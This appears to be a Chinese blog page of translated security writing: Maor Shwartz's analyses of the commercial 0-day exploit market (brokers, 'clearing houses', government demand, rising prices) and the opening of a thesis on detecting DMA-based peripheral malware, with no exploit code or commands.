反过来，一条龙公司也对情况感到不确定，并冻结了预算，在没有必要保持现有客户的 SLA 的情况下不会从市场购买漏洞。

漏洞价格上涨

攻击链的真实成本因两个主要原因而大幅增加：

创建可用的攻击链所需的漏洞数量增加（例如从RCE和LPE到多个漏洞和技术的组合）。
发现漏洞并利用它们变得越来越困难。

另一个需要考虑的问题是，由于监管和漏洞出口管制法规，一条龙公司不得不在许多国家开设实体以容纳与研究人员的交易，从而给一条龙公司带来了额外的成本。

破产和转型

一条龙公司面临着许多挑战，包括成本上升、收入下降、监管增加等等。不幸的是，其中一些公司难以应对这些困难，无法有效地管理财务压力。

这导致了一些公司破产，以及一些公司从数字军火行业转型：

一条龙市场首次经历了萎缩。这将产生重大的市场影响，我们将在接下来进行介绍。

供应链

供应链不仅面临着普遍的下行压力（例如监管和媒体报道），还面临着独特的挑战。

监管

加强了围绕漏洞/利用程序出口的监管，导致一些研究人员转向其他行业，因为他们不想或无法处理出口管制许可证流程。在某些情况下，出口完全成为非法行为。自然而然地，能够在需求目标上发现漏洞的研究人员不多，因此由于监管失去了一些研究人员，对供应方造成了相当大的冲击。

进入漏洞研究领域的门槛更高

随着厂商增强其安全措施，例如实施额外的缓解技术和缩小潜在攻击面，渴望从事漏洞研究的研究人员现在遇到了更高的门槛。例如：

* 设备成本
* IDA（交互式反汇编器（IDA），一种用于反向工程二进制可执行文件的流行反汇编器和调试器。）
* 模拟（例如 Corellium）
* 研究范围有限：没有某些能力（例如漏洞），研究人员无法搜索链中的下一个部分。

需求

从市场购买漏洞的主要力量是一条龙公司。现在竞争的公司更少，漏洞的总需求也下降了。

此外，在某些情况下，客户不会购买链条的一部分，除非他们拥有其余部分或者他们有足够的信心可以在短时间内购买/找到它们。现代漏洞利用链条很复杂，有很多可能会出问题的部分。因此，如果他们不确定能够迅速利用这些部分，客户将不会冒险使用这些资金。

同样适用于上市时间，如果有一个研究人员发现了客户正在寻找的漏洞，填补了客户需求，那么发现类似漏洞的研究人员将很难将其新发现销售出去，因为公司不会囤积漏洞。

如果在繁荣阶段，研究人员可以销售各种漏洞和利用程序（物联网、Web 等），那么在公司谨慎使用预算的新环境中，需求量较高的产品将优先考虑主要的攻击组件载体，即移动设备，其余需求则是定制请求。

媒体报道

尽管记者曝光了一条龙公司、它们的客户、运营和滥用——数字军火行业的形象类似于恐怖分子。这种负面公关将研究人员从该行业中推开，其中一些人转向其他行业。

我观察到的另一个有趣的趋势是，研究人员试图限制公司使用他们的漏洞和漏洞利用程序。这改变了研究人员与购买其输出的公司之间的权力动态。

可交付成果 VS. 技术能力声誉

由于对移动端漏洞的需求很高，而其他方面的需求正在下降，一些研究人员试图转向移动领域，但并没有成功，最终离开了该行业。

此外，随着厂商技术的进步，一些先前擅长发现漏洞的研究人员发现自己无法跟上不断发展的技术进展，因此离开了该行业。

还记得这个吗？

个人研究人员不再能够像过去一样取得同样的产出水平。这种情况导致他们要么与其他研究人员形成协作团队，要么选择完全退出该行业。

经纪人

随着一条龙公司和政府开始公开在该行业中工作，大多数经纪人失去了作为门卫的优势。例如，一条龙公司和政府参加了会议，开始直接与研究人员合作，或者相对容易地与他们联系以探索合作机会。

在我提到的繁荣阶段，该行业吸引了许多与数字军火没有或极少联系的人，他们试图找到一种适应新兴行业的方式——成为经纪人是一个相对容易的方式。

随着时间的推移，某些经纪人屈服于贪婪，并将他们成功获得的漏洞和漏洞利用程序的价格过高地标价。其他一些经纪人通过声称只出售该项目一次来误导研究人员，而实际上，他们在未告知研究人员的情况下多次出售了该项目。因此，经纪人未能适当地补偿研究人员。

此外，客户出于各种原因对漏洞或利用程序提出了异议，使经纪人不确定如何处理，在大多数情况下，经纪人接受了客户拒绝该项目。因此，研究人员的收入受到了损失。此外，经纪人说服研究人员在为其获得客户之前发送该项目，以进行演示或 PoC。

随着越来越多的研究人员直接与客户接触，经纪人发现自己拥有的漏洞和利用程序的数量很少，而这些漏洞和利用程序在广泛的经纪人中流通。这种重复的循环导致客户从多个来源接收相同的规格说明（即提供待售漏洞的信息）。因此，客户变得犹豫不决，不愿购买这些漏洞和利用程序，认为它们的寿命很短，即使实际上没有人获得这些漏洞和利用程序。

政府

与一条龙公司类似，当漏洞在野外被发现时，政府也受到了影响，他们对从多个来源接收的规格说明有着相同的看法，等等。

政府在萧条阶段面临的独特问题是：

* 意识到你可以尽可能地培训你的人，但这并不会将他们变成能够在核心组件载体中发现漏洞的漏洞研究人员。
* COVID-19（如“一条龙公司部分”中所述）。
* 学习如何更好地利用一条龙公司，并要求更好的条款和 SLA。

调整（2022+）——“清算所”崛起和行业供应链的重塑

新环境的适应主要起源于供应方，重点是如何与政府和一条龙客户合作。

尽管一条龙公司的数量减少了，但它们仍在市场上互相竞争，难以保持他们的 SLA。

供应链

供应链不得不面对多重挑战，正如我在萧条阶段所提到的，主要问题包括：

* 潜在客户的数量下降（即破产的一条龙公司）。
* 一些经纪人利用了研究人员。
* 进入漏洞研究领域的门槛更高。
* 研究人员转移了他们的关注点，并且由于诸如法规、广泛的媒体报道以及发现漏洞的内在难度等因素而从漏洞发现领域转向了其他方向。

供应方所做的重大技术和安全进步对供应链产生了深刻的影响。发现漏洞变得越来越具有挑战性，促使多个研究人员组成协作团队，以增加他们的成功机会。根据我的经验，之前每三个月发现一个漏洞的研究人员现在需要一个团队和六个月才能取得相同的结果。

这导致了两个主要的事情：

* 交易的控制：由于在主要组件载体（如浏览器和移动操作系统）中发现漏洞的难度越来越大，加上漏洞的寿命变短（它们在野外被检测到到或厂商代码更改），研究人员寻求更大的对与最终客户的交易的控制 - 迫使经纪人从传统的门卫角色转变为代理人角色。

* 代理人的角色是代表卖方（即研究人员），谈判交易，最终签署合同将在研究人员和最终客户之间达成。作为对其服务的补偿，代理人获得佣金，可以是固定金额或交易价值的百分比。

* 付费研究与开发：新成立的研究小组发现自己需要长期自我资助，才能发现可出售的漏洞。在一个已经以高风险和高回报为特征的行业中，研究团队寻求通过追求付费研究和开发项目来减轻他们的风险。在这种安排下，潜在客户将提供基本工资以及成功奖金。

* 从客户的角度来看，他们在整个项目期间承担相对较小的资本风险。作为回报，如果研究团队成功地识别并利用了漏洞，客户将获得独家访问权。这种互惠互利的安排允许客户最小化财务风险，同时潜在地获得团队发现的成果回报。

根据我的经验，今天只有一小部分研究人员仍然是独立研究人员。大多数研究人员在研究小组或“清算所”的一部分（我将很快介绍）。

这些研究小组的规模如何？

小型研究小组通常规模不超过8名研究人员，年收入为数百万美元。

“清算所”崛起

“清算所”是一种专注于漏洞研究的新型实体。他们的独特特点使他们能够在一条龙公司衰落的同时快速扩张。

那么，“清算所”是什么？

* “清算所”是在行业内具有强大品牌的公司。
* 他们拥有自己的内部研究团队，雇用高端或有能力的研究人员，专门从事漏洞研究。
* 他们通过投资付费研发项目，确保研究人员的工作和漏洞或攻击利用的独家供应链。
* “清算所”从市场上独家购买漏洞并改进它们以达到“生产就绪”的状态。
* 他们与公司内部研究人员和专门为该公司工作的研究人员（即独立研究人员或研究小组）共享基础设施、漏洞、攻击利用技术等。
* “清算所”主要通过成功奖金来补偿研究人员和他们的供应链，这些奖金显著高于市场价格，而基本工资相对较低（与一条龙公司相比）。
* 与一条龙公司类似，“清算所”无法培训新一代研究人员。
* 这些实体的主要客户是政府机构（在某些情况下，“清算所”也会向一条龙公司销售）。这些政府客户通常通过交易支付和付费研发项目来补偿“清算所”。经营这样的业务需要大量资本，因此，“清算所”必须与多个政府合作。
* 与一条龙公司不同，“清算所”不需要维护 SLA，并且仅向其客户提供漏洞。在某些情况下，“清算所”将相同的漏洞销售给多个客户以支付成本。
* 鉴于“清算所”与政府客户之间的强大关系，“清算所”优先考虑满足这些客户的特定需求，这些需求通常围绕着移动链展开。

“清算所”通过在复杂的合作网络中运作并替代市场上的一些一条龙流动性，打乱了供应链。因此，一条龙公司面临额外的挑战，因为“清算所”主要为政府提供服务，成为这些公司的主要客户。这种动态为一条龙公司的运营增加了复杂性。

从这里：

到这里：

“清算所”有一个有趣的方面是它们将能力（如漏洞或攻击链）的优先级高于最大化利润。他们认识到，向经验不足的客户出售这些能力可能会对特定客户以及其他客户产生不利影响。此外，在某些情况下，更难找到替代的能力。

因此，清算所强调负责任的使用（OPSEC）和保护他们的能力，以确保客户的长期生存能力和满意度。

那么，“清算所”的规模是多少？

“清算所”雇用相当多（我会说超过15个）的研究人员和独家供应链。它们的规模通常在数千万美元范围内。

行动呼吁

通过建立基础元素和审查行业中的事件和趋势，我们已经明显地意识到我们正在走向一条具有挑战性的道路。漏洞变得越来越少，而随着时间的推移，维护漏洞链的能力也越来越具有挑战性。

为了确保政府能够维持其运营并从市场上获得漏洞，政府必须采取积极措施。这涉及到政府介入并增加其专门用于付费研发项目的资金。此外，建立更紧密的关系与研究小组和清算所也非常重要。

政府与清算所之间的合作应该有所不同，不同于当前行业的运作方式：

付费研发：目前，政府与清算所之间最常见的关系是交易型的，只有少数付费研发项目。

这意味着清算所承担了更高的风险 - 如果清算所无法找到任何可销售的项目（如漏洞、原语、攻击等），他们仍然需要支付与他们合作的研究人员，并可能破产。

为了继续雇用最优秀的研究人员并增加发现漏洞的可能性，清算所需要提供高额的补偿，包括基本工资和成功奖励。

此外，我之前提到在当前环境下，寻找和利用漏洞需要更长的时间，需要团队的努力。

转移SLA：在我在2019年的BlackHat USA¹上发表的演讲中，我提到当客户从市场上购买漏洞或攻击时，该项目有一个保修期。如果漏洞在保修期内得到修补，研究人员将无法获得全部的报酬。

这意味着清算所承担了更高的风险，因为如果漏洞或攻击得到修补，他们可能会失去大部分的收入，并且可能停止未来的研究项目，因为他们没有足够的资金支持新的研究项目。

因此，政府需要支持清算所的持续资金，这不完全依赖于最终结果，并允许清算所扩大（即雇用新的研究人员）并支持长期研究项目。

需要强调的是，我们目前处于一个时间紧迫的阶段。如果政府不增加其研发资金，不承认漏洞价格的上涨，并积极参与市场（即开放式直接沟通），研究人员可能会将其关注点转向更具有经济回报的、不那么具有挑战性的领域。

结论

在本文中，我从不同的角度讨论了行业动态及其对其他实体的影响。对我来说，沟通主要要点、解释过去几年中发生的趋势和事件，以及导致我们今天所处的位置的多米诺效应并不容易。

我想借此机会总结本文的主要要点，以及它可能如何影响数字军火行业的未来。

* 在市场上运营的一条龙公司数量正在减少。
* 能够发现和利用主要组件载体中漏洞的研究人员数量有限且正在减少。
* 由于厂商的安全改进，研究人员开始集结以实现与过去相同的产出水平。
* 在主要组件载体中创建（即发现和利用漏洞并将它们连接在一起）并维护链条非常困难。
* 称为清算所的新实体填补了破产的一条龙公司留下的空缺，只关注漏洞研究。此外，清算所大量投资创建了一个独家的研究人员网络和付费研发项目。
* 清算所将能力（如漏洞或攻击链）的优先级高于最大化利润，并倾向于与具有强大 OPSEC 操作的客户打交道。
* 经纪人不得不从门卫转变为代理，因为研究人员要求对漏洞和与最终客户的交易进行控制。

在我看来，我列出的主要潜在受害者，未来可能是政府。尽管清算所是行业的重要稳定器，但它们无法完全取代需要投资于行业以保证政府未来运营需求所需的资金和资源。

Footnotes

¹https://www.youtube.com/watch?v=JkQxS1l9IPI&ab_channel=BlackHat

²https://support.apple.com/guide/security/operating-system-integrity-sec8b776536b/web

³https://blog.google/technology/safety-security/new-initiatives-to-reduce-the-risk-of-vulnerabilities-and-protect-researchers/

⁴https://medium.com/@maor_s/update-about-the-0-day-industry-8d8bb49e8dbb

⁵https://www.wassenaar.org/app/uploads/2019/12/Stand-alone-Munitions-List-2019.pdf

⁵https://www.wassenaar.org/app/uploads/2019/consolidated/List-of-Dual-Use-Goods-and-Technologies-and-Munitions-List-Corr.pdf

⁶https://www.reuters.com/investigates/special-report/usa-spying-raven/

⁶https://www.ft.com/content/11cb394d-a13e-4826-b580-823b9367fedb

⁷https://home.treasury.gov/news/press-releases/jy1296

⁷https://www.commerce.gov/news/press-releases/2021/11/commerce-adds-nso-group-and-other-foreign-companies-entity-list

⁷https://www.haaretz.com/israel-news/security-aviation/2023-01-16/ty-article/.premium/greek-authorities-fine-intellexa-chief-over-spyware-scandal/00000185-bab3-deab-ad97-fafbd8ae0000

⁷https://www.dpa.gr/sites/default/files/2023-01/2_2023%20anonym.pdf

⁷https://amp.dw.com/en/german-prosecutors-investigate-spyware-maker-finfisher/a-50293812

⁷https://www.al-monitor.com/originals/2022/02/israel-freezes-spyware-exports

⁷https://www.timesofisrael.com/defense-ministry-said-to-freeze-export-licenses-for-israeli-cyberattack-tech/

⁷https://www.apple.com/newsroom/pdfs/Apple_v_NSO_Complaint_112321.pdf

⁷https://www.theregister.com/2023/03/21/meta_employee_spyware/

⁷https://www.haaretz.com/israel-news/security-aviation/2023-03-08/ty-article/.premium/israel-firm-nfv-systems-illegally-selling-classified-spy-tech/00000186-bceb-d2e9-a7df-bdef014c0000

⁷https://www.whitehouse.gov/briefing-room/presidential-actions/2023/03/27/executive-order-on-prohibition-on-use-by-the-united-states-government-of-commercial-spyware-that-poses-risks-to-national-security/

⁷https://www.dw.com/en/germany-charges-executives-for-selling-spyware-to-turkey/a-65701848

⁷https://www.ft.com/content/11cb394d-a13e-4826-b580-823b9367fedb

⁷https://www.timesofisrael.com/report-israel-nixed-quadreams-spyware-deal-with-morocco-leading-to-firms-closure/

⁷https://www.reuters.com/technology/facebook-can-pursue-malware-lawsuit-against-israels-nso-group-us-appeals-court-2021-11-08/

⁷https://www.wassenaar.org/app/uploads/2019/12/WA-DOC-19-PUB-002-Public-Docs-Vol-II-2019-List-of-DU-Goods-and-Technologies-and-Munitions-List-Dec-19.pdf

⁸https://english.almayadeen.net/news/technology/pegasus-nemesis:-meet-quadream-another-israeli-spyware-compa

⁸https://www.reuters.com/technology/exclusive-iphone-flaw-exploited-by-second-israeli-spy-firm-sources-2022-02-03/

⁸https://www.amnesty.org/en/latest/press-release/2021/07/the-pegasus-project/

⁸https://www.businesstimes.com.sg/startups-tech/technology/spyware-trade-grows-amid-claims-activists-amazon-boss-targeted

⁸https://www.forbes.com/sites/thomasbrewster/2016/09/29/wintego-whatsapp-encryption-surveillance-exploits/?sh=bb4d0581aa95

⁹https://www.latimes.com/business/technology/story/2020-01-27/spyware-booming-business-jeff-bezos

¹⁰https://www.theguardian.com/technology/2023/apr/11/canadian-security-experts-warn-over-spyware-threat-to-rival-pegasus-citizen-lab

¹¹https://news.sina.com.cn/c/2023-04-27/doc-imyruepi4556974.shtml?cre=tianyi&tr=181#/

¹¹https://cn.chinadaily.com.cn/a/202304/27/WS6449c3aaa310537989371d7c.html

¹²https://exportctrl.mod.gov.il/About/Pages/AllMessages.aspx?ItemId=242

¹³https://metacpc.org/wp-content/uploads/2022/12/predator.pdf

¹⁴https://www.vice.com/en/article/n7wbnd/hacking-team-is-dead

¹⁴https://www.bloomberg.com/news/articles/2022-03-28/spyware-vendor-finfisher-claims-insolvency-amid-investigation

¹⁴https://www.ecchr.eu/en/case/surveillance-software-germany-turkey-finfisher/

¹⁴https://www.forbes.com/sites/thomasbrewster/2021/07/29/paragon-is-an-nso-competitor-and-an-american-funded-israeli-surveillance-startup-that-hacks-encrypted-apps-like-whatsapp-and-signal/?sh=222a3c8f153b

¹⁴https://intelligencecommunitynews.com/l3-completes-acquisition-of-azimuth-security-and-linchpin-labs/

¹⁵https://www.moodys.com/research/Moodys-downgrades-NSO-to-B3-with-negative-outlook–PR_446947

¹⁵https://www.aljazeera.com/economy/2021/12/14/nso-group-explores-shut-down-of-its-pegasus-spyware-unit-sale

¹⁵https://www.bloomberg.com/news/articles/2022-11-04/israel-s-nso-takes-drastic-measures-to-survive-spyware-scandal?leadSource=uverify%20wall

¹⁶https://www.washingtonpost.com/national-security/2022/07/10/nso-spyware-l3harris-talks-ended/

¹⁶https://seekingalpha.com/news/3855689-l3harris-reportedly-drops-bid-for-israeli-spyware-following-us-concerns

¹⁶https://www.technologyreview.com/2022/06/27/1054884/the-hacking-industry-faces-the-end-of-an-era/

¹⁷https://www.haaretz.com/israel-news/security-aviation/2023-04-16/ty-article/.premium/offensive-israeli-cyber-firm-quadream-closes-and-fires-all-employees/00000187-8b5c-d484-adef-ebdc048c0000

¹⁷https://www.calcalist.co.il/calcalistech/article/rjdbgg3fn

¹⁷https://www.timesofisrael.com/report-israel-nixed-quadreams-spyware-deal-with-morocco-leading-to-firms-closure/

¹⁸First Updates to the New Theoretical Framework of Technology Start-up Lifecycle Stages by Jakub Ulč, Miroslav Mandel

¹⁹https://www.immunityinc.com/downloads/skylar_cansecwest09.pdf

关于0-day数字军火行业

Thu, 20 Jul 2023 00:00:00 +0000

作者：Maor Shwartz

原文：https://medium.com/@maor_s/update-about-the-0-day-industry-8d8bb49e8dbb

译者：Vault Labs

译者序：数字军火行业涉足未公开（0-day)的和已经公开（N-day）的漏洞以及相关的漏洞利用，数字军火是一种无形的武器，这种武器的构造和形态难以被普通人理解，即使是从业信息安全多年的安全工程师，安全分析师和CISO（安全首席官）也经常把诸多概念混淆，什么是 bug？什么是 exploitable bug？什么是漏洞？什么是漏洞利用？什么是漏洞利用平面？什么是漏洞利用方法？他们的关系是什么？早在 HardenedLinux 还有全职 maintainer 的阶段（2015-2020)，我们就致力于基于开放的方法论对抗数字军火，到2021年成立了 HardenedVault 后逐步的把基础架构领域的各个环节工程化，在 Vault Labs 看来，攻击和防御双方信息是极度不对称的，我们行走了三分之一个地球，不论到哪里，如果你说你是从事数字军火领域的那一定很多人乐意跟你做生意，反之，如果你富有激情的讲解系统安全的防御，即你是打造盾牌的那一位，不好意思，你或许会遇到有人不屑一顾的表情就像在说“Fuc* off 去你大爷浪费我时间！”一样，另外，我们收到的反馈中，不乏有对于极端威胁模型的困惑，大部分人基于各种动机和原因认为面对 The Desert of the Real 是没有意义的或者压根认为真实的荒漠不存在，这正是当我们看到 Maor 的文章后非常兴奋的原因，毕竟再遇到有人问相同的问题直接让他们去读 Maor 的那两篇文章即可，这个策略一定会奏效于那些坚持探索真相的人，不论他们是否从事信息安全工作，这也是我们翻译的主要原因，这次翻译是得到了原作者的同意进行的。

关于0-day数字军火行业

在过去的一年左右，活跃的网络黑市正在达到一个新的成熟水平。

今天世界上正在发生一些值得关注的有趣事情：

(1) 技术

(2) 供应

(3) 需求

(4) 连通性

技术

背景：许多攻击者的主要攻击媒介是通过浏览器感染受害者。最受欢迎的设备当然是手机。

在过去的一年中，移动设备和浏览器供应商大量投资于新的缓解措施和阻止整个攻击面。这些行动似乎反映了供应商的战略转变——从保护产品本身到实现纵深防御。

通过执行新策略，供应商正在：

(1) 强迫漏洞研究者攻克每个新的缓解措施，以交付“可用”的产品

(2) 关闭整个攻击面

(3) 提高了漏洞研究的入门门槛

这种方法给漏洞研究者带来了很大的负担，是行业变革的主要推动力。例如 https://twitter.com/jifa/status/1580835350209265664?s=20&t=HmlsJV-5IrNqc_h7lwln_w

供应

技术的变化以不同的方式影响了0-day研究的供给方面：

(1) 团队里没有“我”：在此之前，个体研究者能够找到并销售他们的产品。但是现在，很少有个体研究者能够保持相同的产出水平。市场上更常见的活动是研究者合作组建研究团队。通过合作，研究者可以利用彼此的经验和知识，最终产生可销售的产品。

一个有趣的副作用是，当研究者开始合作时，如何构建补偿结构的问题。每个研究团队都有其薪酬体系，通常包括以下一种或多种：薪水、成功奖金（可以是固定的、销售百分比等）和股权。

(2) 只有在退潮时，你才会发现谁在裸泳：在行业繁荣几年后，研究者习惯了高薪酬、保证奖金（按努力计算）和股权的报酬。现在情况已经改变，从宏观经济压力（利率、通货膨胀、战争、流行病）到行业特定挑战（将在“需求”部分介绍）和技术。这使得研究者处于非常困难的境地。

一般来说，在主动网络安全行业（0-day研究）中有四种类型的漏洞研究者：

一流：能够找到和利用0-day漏洞的研究者

二流：能够找到0-day漏洞或编写漏洞利用的研究者

三流：能够编写N-day漏洞利用的研究者

四流：赌徒

此前公司和研究团队欢迎（并愿意慷慨支付）所有类型的研究者。

(2.1) 越多越好：若有足够的资源雇用他们，公司利用的策略是“如果我们雇用更多研究者，我们将增加获得更好产出的机会”。

如今，资源稀缺，公司将削减那些对公司核心任务没有直接影响的研究者的成本。

(2.2) 联系和公共资本：0-day市场上有很多人对自己有很高的评价，或者其他人对他们评价很高，但实际上他们无法交付（例如一流到三流的研究者）可用的产品。需要时间才能意识到一个研究者无法交付，通常需要1-2年时间。然后，该研究者会转到行业中的另一个公司，再次需要1-2年的时间才能意识到这个研究者不具备交付能力。通常在第二家公司之后，这将成为公开的信息，但这个过程需要4年时间。

现在我们已经到了大多数研究者都知道谁值多少的时候了。那些曾经在行业中但没有证明自己的研究者将会在当前市场形势下很难找到职位，或者他们会不得不接受比以前薪酬低的条件。

(2.3) 技术变革将门槛提高，这意味着过去是一流的研究者可能会降到更低的等级或完全退出行业——工作变得更加困难了。

(3) 零件的新市场：零件市场并不是一个新概念，零件并不是“完整的产品”（如RCE、LPE、SBX等），但现在这个市场的重要性正在增加。供应商的技术变革迫使漏洞研究者花费时间和资源寻找绕过新缓解防御措施的方法。在某些情况下，研究者会将缓解措施绕过作为零件或独特的利用技术，但不会有“完整的产品”。这些零件将使其他研究者、研究团队和其他利益相关者（e2e、公司、政府等）能够推进他们的研究并节省时间。因此，我认为零件市场在未来几年内将大幅增长。

(4) 可用产品：从漏洞研究者/研究团队的角度来看，要交付一个“可用”的产品，需要包括所有新缓解措施的绕过，这给了供应商一个优势，他们可以在更新之间改变系统并“破坏”研究者的工作。换句话说，利用技术变得更加复杂，有更多易于失败的组件。因此，研究者将推动更好的付款条件、更少的支持和承诺，从市场购买产品或提供新的商业模式。

需求

(1) 从寻找漏洞到做出可用项目的一条龙式业务的竞争造成了损失：随着漏洞挖掘和漏洞利用变得越来越困难，一条龙公司也面临着困境：

(1.1) 更高的运营成本：由于数量减少，每个漏洞需要更多的工作，项目变得更加昂贵。

(1.2) SLA：由于没有解决方案（例如可用状态下的完整制造0-day链条），公司无法保持SLA。

(1.3) 收款：由于不符合SLA，公司无法收取资金（付款）。

(1.4) 监管：监管变得更加严格，公司因此失去了客户。

结果是许多一条龙公司破产或合并成一家公司以求生存。其副作用在短期内是，供应链上的实体数量减少了，从市场购买项目的可用资源也减少了。

很快，这将影响市场，研究者将只能向有限的买家兜售他们的项目，在某些情况下，他们将不得不降低项目的要价。

(2) 拼图的一块：由于技术变革，政府和一条龙公司可能会拒绝购买在市场上提供的可用项目。例如，在过去iOS链由Safari RCE + iOS LPE组成时，客户可以放心地从市场上购买项目，即使缺少其他部分。

今天的情况已经改变——在某些情况下，客户不会购买攻击链的某些部分，除非他们拥有其他部分，或者他们有足够的信心可以在短时间内购买/找到它们。现代攻击链非常复杂，有许多可能出故障的部分。因此，如果客户不确定他们能够迅速利用这些部分，他们将不会冒资本风险。

这可能导致研究者无法销售他们的项目，并愿意降低价格以获得收益。

连通性

代理商的崛起：过去，经纪人在将研究方与客户方联系起来时发挥着重要作用，同时使双方对彼此保持匿名。随着行业的成熟，研究者和客户都互相认识并在会议、培训和直接沟通中交往（来自研究者和客户方）。

如果经纪人有兴趣继续参与该行业，他们必须转型。大多数经纪人必须经历的变化是停止充当经纪人的角色，并发展成为新的形式：

（1）研究团队：经纪人与他们曾合作过的研究者合作（获得投资并雇用/合作等），并组建一个研究团队。在这种情况下，“经纪人”成为新公司的业务领导者，并负责以付费研发、销售项目、招聘新研究者和与市场上的其他实体合作的形式带来业务。

（2）代理商：虽然今天的研究者有更多机会直接联系客户，但其中一些人对业务方面不感兴趣，正在寻找代表他们的人。与传统经纪不同，在这里经纪人成为研究者/研究团队的代理人。代理人将代表研究，并全透明地管理研究者的谈判/交易。此外，在代理人的情况下，研究者最终直接与最终客户签订合同，代理人在交易中获得他们同意的费用。

（3）转型：一些经纪人与他们认识的研究者合作，并完全退出了活跃的网络世界。

检测针对宿主内存的基于外设的攻击

Sat, 18 Jan 2020 00:00:00 +0000

Detecting Peripheral-based Attacks on the Host Memory

Patrick Stewin

摘要

对手可以通过在目标平台上部署 rootkit 技术以便以某种隐秘的方式持续攻击计算机系统。行业和政治间谍活动、对用户的监控，以及引导网络犯罪等行为要求对计算机系统进行隐秘攻击。利用某种 rootkit 技术意味着，所实现的攻击代码中的一部分负责隐藏此次攻击。被加载到诸如网卡或者特殊的微控制器等外设的攻击代码目前成为了 rootkit 进化的顶峰。本工作检视了宿主计算机上的此类基于外设的隐秘攻击。外设拥有一块专用处理器以及专用的运行时内存以处理其任务。这意味着这些外设实质上是一个独立的系统。攻击者得益于这种隔离。外设通常通过宿主的主内存同宿主进行通讯。攻击者利用了这一事实。宿主的所有运行时数据存在于主内存中，这包括密码学密钥、口令、已打开的文件以及其他敏感数据。攻击者只需定位这些数据。随后，攻击者可以利用外设的直接内存访问机制暗中读取和修改这些数据。这使得绕过诸如业界最先进的反病毒软件和加固的现代操作系统内核等安全软件成为可能。

检测这样的攻击是本工作的目标。基于独立微控制器的隐形恶意软件被实现为引导技术分析。此恶意软件的概念验证称为 DAGGER，它来自于 Direct memory Access based keystroke code loGGER（基于直接内存访问的击键码记录器）。对此恶意软件的开发和分析揭示了基于外设的恶意软件的重要属性。其检测程序称为 BARM——Bus Agent Runtime Monitor（总线代理运行时监视器）。此检测程序揭示了通过利用某些硬件属性对宿主的主内存进行的基于外设的隐秘攻击。一种永久的并且高效利用资源的测定策略保证了此检测程序同时还能检测瞬时攻击。如果所应用的测定策略只会在特定的时间点进行测定，则此类瞬时攻击将会成为可能。攻击者可以如此利用此种测定策略，通过在两次测定之间对系统进行攻击，并且在系统被测定之前销毁所有进攻痕迹。对于之前提出的预防性保护方式，即输入/输出内存管理单元，此检测程序代表了一种替代解决方案。由于实践方面的原因，之前提出的方法不一定是高效的。这一事实再加上由基于外设的恶意软件所带来的威胁共同要求本工作所呈现的替代检测方案。此检测程序不仅能够揭示攻击，同时能够终止该恶意设备。BARM 立即检测到并且阻止由 DAGGER 引导的攻击。其性能开销可以忽略。更进一步地，BARM 能够向外部平台报告宿主的主内存是否受到了外设的攻击。

与本论文相关的发表

本论文呈现的工作带来了下列通过同行评审的发表：

Understanding DMA Malware, Patrick Stewin and Iurii Bystrov, DIMVA2012 Proceedings of the 9th Conference on Detection of Intrusions and Malware & Vulnerability Assessment, Heraklion, Crete, Greece, July 26-27th, 2012 ([参见 123] / 第 4 章)
Extended Abstract – Poster: Towards Detecting DMA Malware, Patrick Stewin, Jean-Pierre Seifert, Collin Mulliner, CCS2011 Proceedings of the 18th ACM Conference on Computer and Communications Security, 2011 ([参见 126] / 第 4 章)
A Primitive for Revealing Stealthy Peripheral-based Attacks on the Computing Platform’s Main Memory, Patrick Stewin, RAID2013 Proceedings of the 16th International Symposium on Research in Attacks, Intrusions and Defenses (RAID), St. Lucia, October 23-25, 2013 ([参见 122] / 第 5 章)

下列通过同行评审的发表根据第 6 章进行了更新，以考虑到基于 DMA 的恶意软件的场景，这也是本论文关注的焦点：

Beyond Secure Channels, Yacine Gasmi, Ahmad-Reza Sadeghi, Patrick Stewin, Martin Unger, N. Asokan, STC2007 Proceedings of the 2007 ACM Workshop on Scalable Trusted Computing, 2007 ([参见 52])
An Efficient Implementation of Trusted Channels based on OpenSSL, Frederik Armknecht, Yacine Gasmi, Ahmad-Reza Sadeghi, Patrick Stewin, Martin Unger, Gianluca Ramunno, Davide Vernizzi, STC2008 Proceedings of the 3rd ACM Workshop on Scalable Trusted Computing, 2008 ([参见 10])

第 1 章简介

我认为，大多数人甚至都不知道 rootkit 是什么，那么他们为什么要去关心它呢？——Thomas Hesse，索尼全球数字业务前主席

大多数人可能会将 rootkit 这一术语同针对计算机平台的攻击相关联。实际上，对手部署 rootkit 是为了攻击计算机用户。基于 rootkit 的攻击被用于引导行业和政治间谍活动以及网络犯罪 [参见 16，p.22-25]。对手通过引导行业间谍活动来偷取知识产权以减少技术开发周期的成本。政治间谍活动不同于行业间谍活动。在政治间谍活动中，对手所感兴趣的是国家机密而非新技术。网络犯罪分子利用 rootkit 来偷取互联网银行凭证、口令以及其他敏感信息。rootkit 也可被用于引导对最终用户的持久监控。rootkit 还可被用于强制执法，以执行对嫌疑人的监控 [参见 16，p.21]。但是，准确地说，rootkit 到底是什么？它是后门吗？它是 特洛伊木马 吗？换言之，rootkit 所包含的恶意负载是什么类型，以及目标计算机是如何被此 rootkit 所渗透的？

术语 rootkit 的若干种定义可以在这样一些文献中找到，例如 Bill Blunden 所著的 The Rootkit Arsenal: Escape And Evasion In The Dark Corners Of The System [16]。他的著作同时评估了 Mark Russinovich（此人以 Windows Internals [106] 系列著作而闻名）和 Greg Hoglund（Rootkits: Subverting the Windows Kernel [60] 一书的作者）对于 rootkit 的定义。最后，Bill Blunden 得出了他自己的定义 [参见 16，p.12]：

rootkit 在一台设备上建立了一个远程接口，此接口使得系统可以被操纵……数据可以被收集（例如监控），以某种难以被观察到的方式（例如隐藏）。

所有这些定义提示了 rootkit 在总体上所展现出来的一个重要属性，即能够隐秘地运作的能力。攻击者通过部署 rootkit 来掩护用于攻击目标计算机的代码。这一点回答了关于 rootkit 的恶意负载的问题。此负载可以被用于执行在用户看来是恶意行为的任何东西。此恶意行为也可以是后门。后门被用于绕过诸如认证请求等安全机制以获得对某台计算机系统的访问权限。后门还可以为攻击者提供对于某台计算机的远程访问权限。在攻击者看来，将此后门隐藏起来是有意义的。此后门应该在计算机用户毫不知情的情况下被使用。因此，后门可以得益于 rootkit 机制。rootkit 负载的另一个例子是监控程序，此程序通过激活目标计算机的话筒和摄像头以暗中监视该计算机的用户。能够捕获由某位计算机用户所输入的所有击键的击键码记录器也是恶意负载的常见范例。

